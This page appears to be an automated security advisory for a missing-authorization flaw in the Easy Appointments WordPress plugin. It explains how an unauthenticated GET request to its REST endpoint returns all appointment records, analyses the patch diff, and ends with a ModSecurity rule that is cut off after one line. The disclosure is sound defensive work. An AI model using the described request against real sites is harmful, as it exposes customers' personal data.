Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : April 27, 2026

CVE-2026-39513: Easy Appointments <= 3.12.21 – Missing Authorization (easy-appointments)

Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 3.12.21
Patched Version 3.12.22
Disclosed April 12, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-39513:

This vulnerability is a missing authorization check in the Easy Appointments WordPress plugin up to version 3.12.21. The plugin’s REST API endpoint at `/wp-json/wp/v2/eablocks/ea_appointments/` exposed appointment data without any permission validation. The CWE-862 (Missing Authorization) flaw allows unauthenticated attackers to retrieve all appointment records, including names, dates, services, and worker assignments. The CVSS score of 5.3 reflects the moderate confidentiality impact.

Root Cause: The vulnerable endpoint is defined in `easy-appointments/ea-blocks/ea-blocks.php` around line 190. The original code set the `permission_callback` to `__return_true` for the REST route `GET /wp-json/wp/v2/eablocks/ea_appointments/`. This unconditional return of true meant that any request, authenticated or not, could access the callback function `easy_ea_block_get_appointments`. The callback, in `easy-appointments/src/api/apifullcalendar.php`, fetches all appointments from the database using `$this->db_models->get_all_rows(‘ea_appointments’, array())`. No capability check existed before returning the data. The `current_user_can(‘manage_options’)` check in the same file only applied to the nonce verification which was not performed.

Exploitation: An attacker can exploit this by sending a GET request to the WordPress REST API endpoint. The request requires no authentication, no nonce, and no special headers. A simple `curl` command targeting `/wp-json/wp/v2/eablocks/ea_appointments/` returns a JSON array of all appointments. Each entry contains `start`, `end`, `title`, and unique identifiers (id, location, service, worker, created, status, price, etc.). The attacker does not need any WordPress user account or session. The endpoint is registered via `register_rest_route` in the `wp/v2/eablocks` namespace, making it discoverable through standard REST API enumeration.

Patch Analysis: The patch in `easy-appointments/ea-blocks/ea-blocks.php` changes the `permission_callback` from `__return_true` to a closure function. This new closure first validates a nonce passed in the `X-WP-Nonce` header by calling `wp_verify_nonce($nonce, ‘wp_rest’)`. If the nonce is invalid, it returns a 403 error. If the nonce passes, it then checks `current_user_can(‘manage_options’)` to ensure only administrators can access the endpoint. The patch correctly implements both nonce verification (to prevent CSRF) and a capability check (to enforce authorization). The nonce is generated in the frontend code at line 62 where `wp_create_nonce(‘wp_rest’)` is now included in the localized script data.

Impact: Successful exploitation allows any unauthenticated attacker to view all appointment data stored in the WordPress database. This includes personally identifiable information such as customer names, email addresses (if stored in appointment metadata), phone numbers, appointment dates and times, selected services, assigned workers, and appointment status. The data exposure violates confidentiality requirements under regulations like GDPR. While the vulnerability does not allow data modification or privilege escalation, the information disclosure can be used for reconnaissance, social engineering, or competitive intelligence gathering.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/easy-appointments/ea-blocks/build/ea-fullcalendar/frontend.asset.php
+++ b/easy-appointments/ea-blocks/build/ea-fullcalendar/frontend.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-element'), 'version' => '36d4a94dff1feaebadb9');
+<?php return array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-element'), 'version' => 'a045aa618ecc36b975a2');
--- a/easy-appointments/ea-blocks/build/ea-fullcalendar/index.asset.php
+++ b/easy-appointments/ea-blocks/build/ea-fullcalendar/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-element', 'wp-i18n'), 'version' => '6f3c99b6f07daa30f446');
+<?php return array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-element', 'wp-i18n'), 'version' => '550b61744aa1ed94b684');
--- a/easy-appointments/ea-blocks/ea-blocks.php
+++ b/easy-appointments/ea-blocks/ea-blocks.php
@@ -59,6 +59,7 @@
 			'location' => $location,
 			'service'  => $service,
 			'worker'   => $worker,
+			'nonce'    => wp_create_nonce('wp_rest'),
 		]) . ';',
 		'before'
 	);
@@ -187,7 +188,20 @@
 	register_rest_route('wp/v2/eablocks', '/ea_appointments/', [
 		'methods'  => 'GET',
 		'callback' => 'easy_ea_block_get_appointments',
-		'permission_callback' => '__return_true', // Secure this if needed
+		'permission_callback' => function ($request) {
+
+			$nonce = $request->get_header('X-WP-Nonce');
+
+			if (! wp_verify_nonce($nonce, 'wp_rest')) {
+				return new WP_Error(
+					'rest_forbidden',
+					'Invalid nonce',
+					['status' => 403]
+				);
+			}
+
+			return current_user_can('manage_options');
+		}
 	]);
 });

--- a/easy-appointments/main.php
+++ b/easy-appointments/main.php
@@ -4,7 +4,7 @@
  * Plugin Name: Easy Appointments
  * Plugin URI: https://easy-appointments.com/
  * Description: Simple and easy to use management system for Appointments and Bookings
- * Version: 3.12.21
+ * Version: 3.12.22
  * Requires PHP: 5.3
  * Author: Nikola Loncar
  * Author URI: https://easy-appointments.com/
@@ -21,7 +21,7 @@
 /**
  * Currently plugin version.
  */
-define( 'EASY_APPOINTMENTS_VERSION', '3.12.21' );
+define( 'EASY_APPOINTMENTS_VERSION', '3.12.22' );

 // path for source files
 define('EA_SRC_DIR', dirname(__FILE__) . '/src/');
--- a/easy-appointments/src/ajax.php
+++ b/easy-appointments/src/ajax.php
@@ -1726,14 +1726,14 @@
             'pending.subject.email'         => 'New Reservation #id#',
             'send.from.email'               => '',
             'enable_status_subjects'        => '0',
-            'pending_subject_admin'         => '',
-            'pending_subject_visitor'       => '',
-            'confirmed_subject_admin'       => '',
-            'confirmed_subject_visitor'     => '',
-            'cancelled_subject_admin'       => '',
-            'cancelled_subject_visitor'     => '',
-            'reservation_subject_admin'     => '',
-            'reservation_subject_visitor'   => '',
+            'pending_subject_admin'         => 'New Reservation #id#',
+            'confirmed_subject_admin'       => 'New Reservation #id#',
+            'cancelled_subject_admin'       => 'New Reservation #id#',
+            'reservation_subject_admin'     => 'New Reservation #id#',
+            'pending_subject_visitor'       => 'Reservation #id#',
+            'confirmed_subject_visitor'     => 'Reservation #id#',
+            'cancelled_subject_visitor'     => 'Reservation #id#',
+            'reservation_subject_visitor'   => 'Reservation #id#',
             'css.off'                       => '0',
             'submit.redirect'               => '',
             'advance.redirect'              => '[]',
@@ -1766,6 +1766,7 @@
             'fullcalendar.my_booking'       => '0',
             'fullcalendar.my_booking_full_calendar'       => '0',
             'fullcalendar.event.show'       => '0',
+            'fullcalendar.event.title_fields'       => '',
             'fullcalendar.event.template'   => '',
             'shortcode.compress'            => '1',
             'label.from_to'                 => '0',
--- a/easy-appointments/src/api/apifullcalendar.php
+++ b/easy-appointments/src/api/apifullcalendar.php
@@ -170,6 +170,24 @@

         $fields = $this->db_models->get_all_rows('ea_meta_fields', array(), array('position' => 'ASC'));
         $services = $this->db_models->get_all_rows('ea_services', array(), array('id' => 'ASC'));
+        $locations = $this->db_models->get_all_rows('ea_locations', array(), array('id' => 'ASC'));
+        $workers   = $this->db_models->get_all_rows('ea_staff', array(), array('id' => 'ASC'));
+
+
+        $service_map = [];
+        foreach ($services as $s) {
+            $service_map[$s->id] = $s->name;
+        }
+
+        $location_map = [];
+        foreach ($locations as $l) {
+            $location_map[$l->id] = $l->name;
+        }
+
+        $worker_map = [];
+        foreach ($workers as $w) {
+            $worker_map[$w->id] = $w->name;
+        }

         if (
             !current_user_can('manage_options') &&
@@ -183,7 +201,7 @@
         }


-        $res = array_map(function($element) use ($fields, $title_key, $services, $service_color) {
+        $res = array_map(function($element) use ($fields, $title_key, $services, $service_color, $service_map, $location_map, $worker_map) {
                 $result = array(
                     'start'  => $element->date . 'T' . $element->start,
                     'end'    => $element->end_date . 'T' . $element->end,
@@ -204,7 +222,49 @@
                     }
                 }

-                $result['title'] = $element->{$title_key};
+                // $result['title'] = $element->{$title_key};
+                            $title_fields_option = $this->options->get_option_value(
+                'fullcalendar.event.title_fields',
+                'name'
+            );
+
+            $title_fields = explode(',', $title_fields_option);
+
+            $title_parts = [];
+
+            foreach ($title_fields as $field) {
+                switch ($field) {
+                    case 'name':
+                        if (!empty($element->name)) {
+                            $title_parts[] = $element->name;
+                        }
+                    break;
+
+                    case 'location_name':
+                        if (isset($location_map[$element->location])) {
+                            $title_parts[] = $location_map[$element->location];
+                        }
+                    break;
+
+                    case 'service_name':
+                        if (isset($service_map[$element->service])) {
+                            $title_parts[] = $service_map[$element->service];
+                        }
+                    break;
+
+                    case 'worker_name':
+                        if (isset($worker_map[$element->worker])) {
+                            $title_parts[] = $worker_map[$element->worker];
+                        }
+                    break;
+                }
+            }
+
+            if (empty($title_parts)) {
+                $title_parts[] = $element->name;
+            }
+
+            $result['title'] = implode(", ", $title_parts);

             return $result;
         }, $res);
--- a/easy-appointments/src/frontend.php
+++ b/easy-appointments/src/frontend.php
@@ -906,7 +906,6 @@
             if ($type === 'staff') {
                 $default_value = easy_ea_helper_polylang_trans($this->options->get_option_value("trans.worker_option"));
             }
-            $default_value = esc_html__('Select', 'easy-appointments').' '.$default_value;

         }
         printf(
--- a/easy-appointments/src/mail.php
+++ b/easy-appointments/src/mail.php
@@ -398,6 +398,11 @@
                 if (in_array($app->status, $enable_actions)) {
                     $this->send_status_change_mail($app_id);
                 }
+            }else{
+                $default_status = $this->options->get_option_value('default.status');
+                if ($app->status == $default_status) {
+                    $this->send_status_change_mail($app_id);
+                }
             }
         }
     }
@@ -423,15 +428,19 @@
     {
         if ($this->options->get_option_value('send.worker.email', '0') == '1') {
             $enable_actions = $this->get_worker_email_notification_active();
+            $table_name = 'ea_appointments';
+            $app = $this->models->get_row($table_name, $app_id);
             if (!empty($enable_actions)) {
-                $table_name = 'ea_appointments';
-                $app = $this->models->get_row($table_name, $app_id);
                 if (in_array($app->status, $enable_actions)) {
                     $this->send_notification(array('id' => $app_id), $worker_only);
                 }
+            }else{
+                $default_status = $this->options->get_option_value('default.status');
+                if ($app->status == $default_status) {
+                    $this->send_status_change_mail($app_id);
+                }
             }

-
         }
     }

@@ -603,17 +612,15 @@
         $emails = apply_filters('easy_ea_admin_mail_address_list', $emails, $raw_data);

         $body_template = $this->options->get_option_value('mail.admin', '');
-
-        if ($enable_status_subjects == '1') {
-            if ($raw_data['status'] == 'pending') {
-                $body_template = $this->options->get_option_value('mail.admin.pending', $body_template);
-            } elseif ($raw_data['status'] == 'confirmed') {
-                $body_template = $this->options->get_option_value('mail.admin.confirmed', $body_template);
-            } elseif ($raw_data['status'] == 'canceled') {
-                $body_template = $this->options->get_option_value('mail.admin.canceled', $body_template);
-            } elseif ($raw_data['status'] == 'reservation') {
-                $body_template = $this->options->get_option_value('mail.admin.reservation', $body_template);
-            }
+
+        if ($raw_data['status'] == 'pending') {
+            $body_template = $this->options->get_option_value('mail.admin.pending', $body_template);
+        } elseif ($raw_data['status'] == 'confirmed') {
+            $body_template = $this->options->get_option_value('mail.admin.confirmed', $body_template);
+        } elseif ($raw_data['status'] == 'canceled') {
+            $body_template = $this->options->get_option_value('mail.admin.canceled', $body_template);
+        } elseif ($raw_data['status'] == 'reservation') {
+            $body_template = $this->options->get_option_value('mail.admin.reservation', $body_template);
         }
         $body_template = apply_filters('easy_ea_admin_mail_template', $body_template);

--- a/easy-appointments/src/options.php
+++ b/easy-appointments/src/options.php
@@ -127,14 +127,14 @@
             'pending.subject.email'         => 'New Reservation #id#',
             'send.from.email'               => '',
             'enable_status_subjects'        => '0',
-            'pending_subject_admin'         => '',
-            'pending_subject_visitor'       => '',
-            'confirmed_subject_admin'       => '',
-            'confirmed_subject_visitor'     => '',
-            'cancelled_subject_admin'       => '',
-            'cancelled_subject_visitor'     => '',
-            'reservation_subject_admin'     => '',
-            'reservation_subject_visitor'   => '',
+            'pending_subject_admin'         => 'New Reservation #id#',
+            'confirmed_subject_admin'       => 'New Reservation #id#',
+            'cancelled_subject_admin'       => 'New Reservation #id#',
+            'reservation_subject_admin'     => 'New Reservation #id#',
+            'pending_subject_visitor'       => 'Reservation #id#',
+            'confirmed_subject_visitor'     => 'Reservation #id#',
+            'cancelled_subject_visitor'     => 'Reservation #id#',
+            'reservation_subject_visitor'   => 'Reservation #id#',
             'css.off'                       => '0',
             'submit.redirect'               => '',
             'advance.redirect'              => '[]',
@@ -173,6 +173,7 @@
             'fullcalendar.my_booking'       => '0',
             'fullcalendar.my_booking_full_calendar'       => '0',
             'fullcalendar.event.show'       => '0',
+            'fullcalendar.event.title_fields'       => '',
             'fullcalendar.manage_appointment.show'       => '0',
             'fullcalendar.event.template'   => '',
             'shortcode.compress'            => '1',
--- a/easy-appointments/src/templates/admin.tpl.php
+++ b/easy-appointments/src/templates/admin.tpl.php
@@ -543,77 +543,85 @@
                                name="visitor_reply_to_address" type="text"
                                value="<%- _.findWhere(settings, {ea_key:'visitor_reply_to_address'}).ea_value %>">
                     </div>
-                    <div class="form-item">
-                        <div class="label-with-tooltip">
-                            <label for="send.worker.email"><?php esc_html_e('Send email to worker', 'easy-appointments'); ?></label>
+                    <div class="form-item" style="border: 1px solid #ececec; padding-left: 10px; border-radius: 4px;">
+                        <div class="label-with-tooltip" style="display:flex; align-items:center; gap:8px;">
+
+                            <label for="send.worker.email" style="display:flex; align-items:center; gap:6px;">
+                                <input class="field ea_send_worker_email"
+                                    data-key="send.worker.email"
+                                    name="send.worker.email"
+                                    type="checkbox"
+                                    <% if (_.findWhere(settings, {ea_key:'send.worker.email'}).ea_value == "1") { %>checked<% } %>>
+
+                                <?php esc_html_e('Send email to worker', 'easy-appointments'); ?>
+                            </label>
                             <span class="tooltip tooltip-right"
-                                  data-tooltip="<?php esc_html_e('Mark this option if you want to employee receive admin email after filing the form.', 'easy-appointments'); ?>"></span>
+                                data-tooltip="<?php esc_html_e('Mark this option if you want to employee receive admin email after filing the form.', 'easy-appointments'); ?>">
+                            </span>
                         </div>
-                        <div class="field-wrap">
-                            <input class="field ea_send_worker_email" data-key="send.worker.email"
-                                   name="send.worker.email" type="checkbox" <% if
-                            (_.findWhere(settings, {ea_key:'send.worker.email'}).ea_value == "1") {
-                            %>checked<% } %>>
+                        <div class="field-wrap ea_worker_mail_group" style="border: none; padding: 0;">
+                            <div class="">
+                                <div class="label-with-tooltip">
+                                    <label for="send.worker.pending_email"><input class="field" id="send.worker.pending_email" data-key="send.worker.pending_email"
+                                        name="send.worker.pending_email" type="checkbox" <% if
+                                    (_.findWhere(settings, {ea_key:'send.worker.pending_email'}).ea_value == "1") {
+                                    %>checked<% } %>> <?php esc_html_e('Pending', 'easy-appointments'); ?>
+                                    </label>    
+                                    <label for="send.worker.reservation_email"><input class="field" data-key="send.worker.reservation_email"
+                                        name="send.worker.reservation_email" id="send.worker.reservation_email" type="checkbox" <% if
+                                    (_.findWhere(settings, {ea_key:'send.worker.reservation_email'}).ea_value == "1") {
+                                    %>checked<% } %>> <?php esc_html_e('Reservation', 'easy-appointments'); ?>
+                                    </label>    
+                                    <label for="send.worker.cancelled_email"><input class="field" data-key="send.worker.cancelled_email"
+                                        name="send.worker.cancelled_email" id="send.worker.cancelled_email" type="checkbox" <% if
+                                    (_.findWhere(settings, {ea_key:'send.worker.cancelled_email'}).ea_value == "1") {
+                                    %>checked<% } %>> <?php esc_html_e('Cancelled', 'easy-appointments'); ?>
+                                    </label>    
+                                    <label for="send.worker.confirmed_email"><input class="field" data-key="send.worker.confirmed_email"
+                                        name="send.worker.confirmed_email" id="send.worker.confirmed_email" type="checkbox" <% if
+                                    (_.findWhere(settings, {ea_key:'send.worker.confirmed_email'}).ea_value == "1") {
+                                    %>checked<% } %>> <?php esc_html_e('Confirmed', 'easy-appointments'); ?>
+                                    </label>
+                                </div>
+                            </div>
                         </div>
                     </div>
-                    <div class="form-item ea_worker_mail_group" style="margin-left: 12px;">
-                        <div class="label-with-tooltip">
-                            <label for="send.worker.pending_email"><input class="field" id="send.worker.pending_email" data-key="send.worker.pending_email"
-                                name="send.worker.pending_email" type="checkbox" <% if
-                            (_.findWhere(settings, {ea_key:'send.worker.pending_email'}).ea_value == "1") {
-                            %>checked<% } %>> <?php esc_html_e('Pending', 'easy-appointments'); ?>
-                            </label>    
-                            <label for="send.worker.reservation_email"><input class="field" data-key="send.worker.reservation_email"
-                                name="send.worker.reservation_email" id="send.worker.reservation_email" type="checkbox" <% if
-                            (_.findWhere(settings, {ea_key:'send.worker.reservation_email'}).ea_value == "1") {
-                            %>checked<% } %>> <?php esc_html_e('Reservation', 'easy-appointments'); ?>
-                            </label>    
-                            <label for="send.worker.cancelled_email"><input class="field" data-key="send.worker.cancelled_email"
-                                name="send.worker.cancelled_email" id="send.worker.cancelled_email" type="checkbox" <% if
-                            (_.findWhere(settings, {ea_key:'send.worker.cancelled_email'}).ea_value == "1") {
-                            %>checked<% } %>> <?php esc_html_e('Cancelled', 'easy-appointments'); ?>
-                            </label>    
-                            <label for="send.worker.confirmed_email"><input class="field" data-key="send.worker.confirmed_email"
-                                name="send.worker.confirmed_email" id="send.worker.confirmed_email" type="checkbox" <% if
-                            (_.findWhere(settings, {ea_key:'send.worker.confirmed_email'}).ea_value == "1") {
-                            %>checked<% } %>> <?php esc_html_e('Confirmed', 'easy-appointments'); ?>
-                            </label>
-                        </div>
-                    </div>
-                    <div class="form-item">
-                        <div class="label-with-tooltip">
-                            <label for="send.user.email"><?php esc_html_e('Send email to user', 'easy-appointments'); ?></label>
-                            <span class="tooltip tooltip-right"
-                                  data-tooltip="<?php esc_html_e('Mark this option if you want to user receive email after filing the form.', 'easy-appointments'); ?>"></span>
-                        </div>
-                        <div class="field-wrap">
-                            <input class="field ea_send_user_email" data-key="send.user.email" name="send.user.email"
+
+                    <div class="form-item" style="border: 1px solid #ececec; padding-left: 10px; border-radius: 4px;">
+                        <div class="label-with-tooltip" style="display:flex; align-items:center; gap:8px;">
+                            <label for="send.user.email" style="display:flex; align-items:center; gap:6px;">
+                                <input class="field ea_send_user_email" data-key="send.user.email" name="send.user.email"
                                    type="checkbox" <% if (_.findWhere(settings,
                             {ea_key:'send.user.email'}).ea_value == "1") { %>checked<% } %>>
+                            <?php esc_html_e('Send email to user', 'easy-appointments'); ?></label>
+                            <span class="tooltip tooltip-right"
+                                  data-tooltip="<?php esc_html_e('Mark this option if you want to user receive email after filing the form.', 'easy-appointments'); ?>"></span>
                         </div>
-                    </div>
-                    <div class="form-item ea_user_mail_group" style="margin-left: 12px;">
-                        <div class="label-with-tooltip">
-                            <label for="send.user.pending_email"><input class="field" id="send.user.pending_email" data-key="send.user.pending_email"
-                                name="send.user.pending_email" type="checkbox" <% if
-                            (_.findWhere(settings, {ea_key:'send.user.pending_email'}).ea_value == "1") {
-                            %>checked<% } %>> <?php esc_html_e('Pending', 'easy-appointments'); ?>
-                            </label>    
-                            <label for="send.user.reservation_email"><input class="field" data-key="send.user.reservation_email"
-                                name="send.user.reservation_email" id="send.user.reservation_email" type="checkbox" <% if
-                            (_.findWhere(settings, {ea_key:'send.user.reservation_email'}).ea_value == "1") {
-                            %>checked<% } %>> <?php esc_html_e('Reservation', 'easy-appointments'); ?>
-                            </label>    
-                            <label for="send.user.cancelled_email"><input class="field" data-key="send.user.cancelled_email"
-                                name="send.user.cancelled_email" id="send.user.cancelled_email" type="checkbox" <% if
-                            (_.findWhere(settings, {ea_key:'send.user.cancelled_email'}).ea_value == "1") {
-                            %>checked<% } %>> <?php esc_html_e('Cancelled', 'easy-appointments'); ?>
-                            </label>    
-                            <label for="send.user.confirmed_email"><input class="field" data-key="send.user.confirmed_email"
-                                name="send.user.confirmed_email" id="send.user.confirmed_email" type="checkbox" <% if
-                            (_.findWhere(settings, {ea_key:'send.user.confirmed_email'}).ea_value == "1") {
-                            %>checked<% } %>> <?php esc_html_e('Confirmed', 'easy-appointments'); ?>
-                            </label>
+                        <div class="field-wrap ea_user_mail_group" style="border: none; padding: 0;">
+                            <div>
+                                <div class="label-with-tooltip">
+                                    <label for="send.user.pending_email"><input class="field" id="send.user.pending_email" data-key="send.user.pending_email"
+                                        name="send.user.pending_email" type="checkbox" <% if
+                                    (_.findWhere(settings, {ea_key:'send.user.pending_email'}).ea_value == "1") {
+                                    %>checked<% } %>> <?php esc_html_e('Pending', 'easy-appointments'); ?>
+                                    </label>    
+                                    <label for="send.user.reservation_email"><input class="field" data-key="send.user.reservation_email"
+                                        name="send.user.reservation_email" id="send.user.reservation_email" type="checkbox" <% if
+                                    (_.findWhere(settings, {ea_key:'send.user.reservation_email'}).ea_value == "1") {
+                                    %>checked<% } %>> <?php esc_html_e('Reservation', 'easy-appointments'); ?>
+                                    </label>    
+                                    <label for="send.user.cancelled_email"><input class="field" data-key="send.user.cancelled_email"
+                                        name="send.user.cancelled_email" id="send.user.cancelled_email" type="checkbox" <% if
+                                    (_.findWhere(settings, {ea_key:'send.user.cancelled_email'}).ea_value == "1") {
+                                    %>checked<% } %>> <?php esc_html_e('Cancelled', 'easy-appointments'); ?>
+                                    </label>    
+                                    <label for="send.user.confirmed_email"><input class="field" data-key="send.user.confirmed_email"
+                                        name="send.user.confirmed_email" id="send.user.confirmed_email" type="checkbox" <% if
+                                    (_.findWhere(settings, {ea_key:'send.user.confirmed_email'}).ea_value == "1") {
+                                    %>checked<% } %>> <?php esc_html_e('Confirmed', 'easy-appointments'); ?>
+                                    </label>
+                                </div>
+                            </div>
                         </div>
                     </div>
                     <div class="form-item">
@@ -663,54 +671,66 @@
                                 <% if (_.findWhere(settings, {ea_key:'enable_status_subjects'}).ea_value == "1") { %>checked<% } %>>
                         </div>
                     </div>
+
+
+                    <!-- ADMIN SUBJECTS -->
+                    <h3 class="ea-status-heading ea-status-subjects"><?php esc_html_e('Admin Subjects', 'easy-appointments'); ?></h3>
+
                     <div class="form-item ea-status-subjects">
-                        <label><?php esc_html_e('Pending – Admin subject', 'easy-appointments'); ?></label>
+                        <label><?php esc_html_e('Pending', 'easy-appointments'); ?></label>
                         <input class="field" data-key="pending_subject_admin"
                             name="pending_subject_admin" type="text"
                             value="<%- _.findWhere(settings, {ea_key:'pending_subject_admin'}).ea_value %>">
                     </div>

                     <div class="form-item ea-status-subjects">
-                        <label><?php esc_html_e('Pending – Visitor subject', 'easy-appointments'); ?></label>
-                        <input class="field" data-key="pending_subject_visitor"
-                            name="pending_subject_visitor" type="text"
-                            value="<%- _.findWhere(settings, {ea_key:'pending_subject_visitor'}).ea_value %>">
-                    </div>
-                    <div class="form-item ea-status-subjects">
-                        <label><?php esc_html_e('Confirmed – Admin subject', 'easy-appointments'); ?></label>
+                        <label><?php esc_html_e('Confirmed', 'easy-appointments'); ?></label>
                         <input class="field" data-key="confirmed_subject_admin"
                             name="confirmed_subject_admin" type="text"
                             value="<%- _.findWhere(settings, {ea_key:'confirmed_subject_admin'}).ea_value %>">
                     </div>

                     <div class="form-item ea-status-subjects">
-                        <label><?php esc_html_e('Confirmed – Visitor subject', 'easy-appointments'); ?></label>
-                        <input class="field" data-key="confirmed_subject_visitor"
-                            name="confirmed_subject_visitor" type="text"
-                            value="<%- _.findWhere(settings, {ea_key:'confirmed_subject_visitor'}).ea_value %>">
-                    </div>
-                    <div class="form-item ea-status-subjects">
-                        <label><?php esc_html_e('Cancelled – Admin subject', 'easy-appointments'); ?></label>
+                        <label><?php esc_html_e('Cancelled', 'easy-appointments'); ?></label>
                         <input class="field" data-key="cancelled_subject_admin"
                             name="cancelled_subject_admin" type="text"
                             value="<%- _.findWhere(settings, {ea_key:'cancelled_subject_admin'}).ea_value %>">
                     </div>

                     <div class="form-item ea-status-subjects">
-                        <label><?php esc_html_e('Cancelled – Visitor subject', 'easy-appointments'); ?></label>
-                        <input class="field" data-key="cancelled_subject_visitor"
-                            name="cancelled_subject_visitor" type="text"
-                            value="<%- _.findWhere(settings, {ea_key:'cancelled_subject_visitor'}).ea_value %>">
-                    </div>
-                    <div class="form-item ea-status-subjects">
-                        <label><?php esc_html_e('Reservation – Admin subject', 'easy-appointments'); ?></label>
+                        <label><?php esc_html_e('Reservation', 'easy-appointments'); ?></label>
                         <input class="field" data-key="reservation_subject_admin"
                             name="reservation_subject_admin" type="text"
                             value="<%- _.findWhere(settings, {ea_key:'reservation_subject_admin'}).ea_value %>">
                     </div>

+
+                    <!-- VISITOR SUBJECTS -->
+                    <h3 class="ea-status-heading ea-status-subjects"><?php esc_html_e('Visitor Subjects', 'easy-appointments'); ?></h3>
+
+                    <div class="form-item ea-status-subjects">
+                        <label><?php esc_html_e('Pending', 'easy-appointments'); ?></label>
+                        <input class="field" data-key="pending_subject_visitor"
+                            name="pending_subject_visitor" type="text"
+                            value="<%- _.findWhere(settings, {ea_key:'pending_subject_visitor'}).ea_value %>">
+                    </div>
+
+                    <div class="form-item ea-status-subjects">
+                        <label><?php esc_html_e('Confirmed', 'easy-appointments'); ?></label>
+                        <input class="field" data-key="confirmed_subject_visitor"
+                            name="confirmed_subject_visitor" type="text"
+                            value="<%- _.findWhere(settings, {ea_key:'confirmed_subject_visitor'}).ea_value %>">
+                    </div>
+
                     <div class="form-item ea-status-subjects">
-                        <label><?php esc_html_e('Reservation – Visitor subject', 'easy-appointments'); ?></label>
+                        <label><?php esc_html_e('Cancelled', 'easy-appointments'); ?></label>
+                        <input class="field" data-key="cancelled_subject_visitor"
+                            name="cancelled_subject_visitor" type="text"
+                            value="<%- _.findWhere(settings, {ea_key:'cancelled_subject_visitor'}).ea_value %>">
+                    </div>
+
+                    <div class="form-item ea-status-subjects">
+                        <label><?php esc_html_e('Reservation', 'easy-appointments'); ?></label>
                         <input class="field" data-key="reservation_subject_visitor"
                             name="reservation_subject_visitor" type="text"
                             value="<%- _.findWhere(settings, {ea_key:'reservation_subject_visitor'}).ea_value %>">
@@ -792,6 +812,66 @@
                       </div>
                   </div>
                   <div class="form-item">
+                        <div class="label-with-tooltip">
+                            <label><?php esc_html_e('Event title display fields', 'easy-appointments'); ?></label>
+                            <span class="tooltip tooltip-right"
+                                data-tooltip="<?php esc_attr_e('Select what should be shown inside calendar event block.', 'easy-appointments'); ?>">
+                            </span>
+                        </div>
+
+                        <%
+                            var titleSetting = _.findWhere(settings, {ea_key:'fullcalendar.event.title_fields'});
+                            var selectedFields = [];
+
+                            if (titleSetting && titleSetting.ea_value) {
+                                selectedFields = titleSetting.ea_value.split(',');
+                            } else {
+                                selectedFields = ['name']; // default
+                            }
+                        %>
+
+                        <div class="field-wrap">
+
+
+                                <input type="checkbox" style="margin: 0 5px 0 0;"
+                                    class="ea-title-field field"
+                                    value="name"
+                                    <% if (_.contains(selectedFields, 'name')) { %>checked<% } %> >
+                                <?php esc_html_e('Name', 'easy-appointments'); ?>
+
+
+
+                                <input type="checkbox" style="margin: 0 5px 0 10px;"
+                                    class="ea-title-field field"
+                                    value="location_name"
+                                    <% if (_.contains(selectedFields, 'location_name')) { %>checked<% } %> >
+                                <?php esc_html_e('Location', 'easy-appointments'); ?>
+
+
+
+                                <input type="checkbox" style="margin: 0 5px 0 10px;"
+                                    class="ea-title-field field"
+                                    value="service_name"
+                                    <% if (_.contains(selectedFields, 'service_name')) { %>checked<% } %> >
+                                <?php esc_html_e('Service', 'easy-appointments'); ?>
+
+
+
+                                <input type="checkbox" style="margin: 0 5px 0 10px;"
+                                    class="ea-title-field field"
+                                    value="worker_name"
+                                    <% if (_.contains(selectedFields, 'worker_name')) { %>checked<% } %> >
+                                <?php esc_html_e('Worker', 'easy-appointments'); ?>
+
+
+                            <!-- hidden real field -->
+                            <input type="hidden"
+                                class="field"
+                                data-key="fullcalendar.event.title_fields"
+                                value="<%- selectedFields.join(',') %>">
+                        </div>
+                    </div>
+                  <div class="form-item">
                       <div class="label-with-tooltip">
                           <label for=""><?php esc_attr_e('Event content in popup', 'easy-appointments'); ?></label>
                           <span class="tooltip tooltip-right"
@@ -1429,6 +1509,22 @@
 </script>
 <script>
     jQuery(document).ready(function($) {
+
+        $(document).on('change', '.ea-title-field', function () {
+
+            var values = [];
+
+            $('.ea-title-field:checked').each(function () {
+                values.push($(this).val());
+            });
+
+            if (values.length === 0) {
+                values = ['name']; // fallback
+                $('.ea-title-field[value="name"]').prop('checked', true);
+            }
+
+            $('[data-key="fullcalendar.event.title_fields"]').val(values.join(','));
+        });
         $(document).on('submit', '#ea_newsletter', function(e) {
             e.preventDefault();
             var form = jQuery(this);
@@ -1506,7 +1602,6 @@
         $(document).on('change', '[name="enable_status_subjects"]', toggleStatusSubjects);

         $(document).on('click', '#ea-full-export', function() {
-            console.log('Export clicked');
             if (!confirm('Export all Easy Appointments data?')) {
                 return;
             }
@@ -1549,8 +1644,38 @@
                     alert(xhr.responseJSON?.data || 'Import failed.');
                 }
             });
-        });
+        });

+        function applyDefaultOnce() {
+            var workerChecked = $('.ea_worker_mail_group input[type="checkbox"]:checked').length;
+            var userChecked   = $('.ea_user_mail_group input[type="checkbox"]:checked').length;

+            if (workerChecked > 0 || userChecked > 0) {
+                return;
+            }
+
+            var status = jQuery('#ea-select-status').val();
+
+            var map = {
+                pending: 'pending_email',
+                confirmed: 'confirmed_email',
+                reservation: 'reservation_email'
+            };
+
+            var key = map[status];
+
+            if (key) {
+                // Worker
+                $('input[data-key="send.worker.' + key + '"]').prop('checked', true);
+                $('.ea_send_worker_email').prop('checked', true);
+
+                // User
+                $('input[data-key="send.user.' + key + '"]').prop('checked', true);
+                $('.ea_send_user_email').prop('checked', true);
+            }
+        }
+        setTimeout(function () {
+            applyDefaultOnce();
+        }, 500);
     });
 </script>
 No newline at end of file

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
SecRule REQUEST_URI "@beginsWith /wp-json/wp/v2/eablocks/" 
